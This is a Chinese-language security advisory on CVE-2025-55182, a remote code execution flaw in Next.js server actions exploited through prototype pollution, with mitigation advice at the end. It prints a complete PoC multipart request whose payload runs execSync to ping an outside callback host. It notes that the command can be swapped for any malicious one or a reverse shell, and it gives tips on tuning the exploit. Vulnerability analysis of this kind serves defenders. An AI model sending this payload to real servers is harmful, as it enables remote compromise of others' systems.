漏洞概述
CVE-2025-55182 是一个影响 Next.js 框架的远程代码执行(RCE)漏洞。该漏洞源于服务端 Actions 在处理特定构造的请求时存在缺陷,攻击者通过利用 JavaScript 原型链污染,最终可以调用 child_process.execSync 等模块在服务器上执行任意命令。
POC 复现
根据已公开的 POC,其核心是利用了精心构造的 JSON 数据来触发原型污染链。一个典型的攻击请求包如下所示:
POST /apps HTTP/1.1
Host: [目标地址]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('ping -nc 1 gskk.callback.red');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
在该 POC 中,攻击载荷 _prefix 字段最终会通过 process.mainModule.require('child_process').execSync(...) 来执行系统命令。这里演示的是发送一个 ping 请求,但在实际攻击中,可替换为任意恶意命令。请注意,建议使用 exec 等非阻塞方法构造 Payload 以避免请求被长时间挂起,这在网络安全的渗透测试中是需要考量的细节。
漏洞利用要点与检测
- 路径不固定:该漏洞的利用端点(例如
/apps)并非固定,它取决于目标应用的具体实现。如果应用基于 Dify 等框架开发,路径可能会有所不同。
- 检测与验证:社区已经出现了 Nuclei 等自动化工具的检测模板。但需注意,许多公开模板默认检测命令回显,而对于无回显的漏洞(如执行
ping或反弹Shell),需要根据实际情况调整检测逻辑。

防范建议
- 及时升级:立即将 Next.js 升级至官方已修复的安全版本。
- 输入校验:对服务端 Action 接收的所有用户输入进行严格的校验和过滤,特别是复杂嵌套的 JSON 结构。
- 权限最小化:运行 Node.js 应用的服务应遵循最小权限原则,避免使用高权限账户(如 root)运行,以限制成功利用后造成的破坏。
- 安全审计:关注官方安全公告,定期对应用进行网络安全扫描和代码审计,排查是否存在类似的原型污染风险点。
|